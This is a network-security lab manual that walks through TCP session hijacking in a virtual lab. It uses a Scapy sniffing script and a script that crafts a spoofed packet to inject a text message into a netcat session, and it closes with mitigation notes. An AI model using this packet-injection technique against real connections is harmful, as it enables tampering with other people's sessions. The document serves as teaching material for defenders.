# Lab Manual: TCP Hijacking using Scapy

1. Objective

To demonstrate TCP session hijacking by injecting malicious packets into an active TCP connection using Scapy.

2. Prerequisites

- Kali Linux or any Linux machine with Scapy installed.
- Two virtual machines or systems: Victim (Client), Server.
- A shared network (e.g., same LAN or bridged network in a virtual environment).
- Basic understanding of TCP/IP, networking, and packet crafting.

3. Tools Required

- Scapy (Python-based packet manipulation tool)
- Wireshark (for packet analysis)
- Netcat or SSH (to simulate TCP session)

4. Lab Setup

4.1 Topology

Attacker (Kali) <----> Router/Switch <----> Victim <----> Server

4.2 Simulate a TCP Session

On the Victim:

nc <server_ip> 9999

On the Server:

nc -lvp 9999

5. TCP Hijacking with Scapy

Step 1: Sniff TCP Packets

```
from scapy.all import *
def sniff_packets(packet):
if packet.haslayer(TCP):
print(packet.summary())
packet.show()
sniff(filter="tcp", prn=sniff_packets, iface="eth0")
```

Step 2: Analyze the Session in Wireshark

Capture traffic between victim and server. Find the current Sequence Number and Acknowledgment Number.

Step 3: Craft a Spoofed TCP Packet

```
from scapy.all import *
src_ip = "victim_ip"
dst_ip = "server_ip"
src_port = 12345  # victim port
dst_port = 9999   # server port
seq = 1001        # captured sequence number
ack = 2002        # captured ack number
payload = "Injected message from attacker\n"
ip = IP(src=src_ip, dst=dst_ip)
tcp = TCP(sport=src_port, dport=dst_port, flags="PA", seq=seq, ack=ack)
pkt = ip/tcp/payload
```

send(pkt)

6. Expected Outcome

- The Server receives a packet appearing to come from the Victim.

- The injected message shows up in the server's terminal.

7. Clean Up

- Stop all netcat sessions.

- Clear Wireshark logs.

- Reboot VMs if needed.

8. Important Notes

- TCP hijacking works only if attacker can predict or capture sequence/ack numbers.

- This demo assumes no encryption and a flat network.

- Add firewall and IDS/IPS rules in production environments to prevent such attacks.

9. Screenshot Suggestions

- Netcat TCP session (client and server terminals).

- Wireshark view of captured packets.

- Scapy script output.

- Server terminal showing the spoofed message.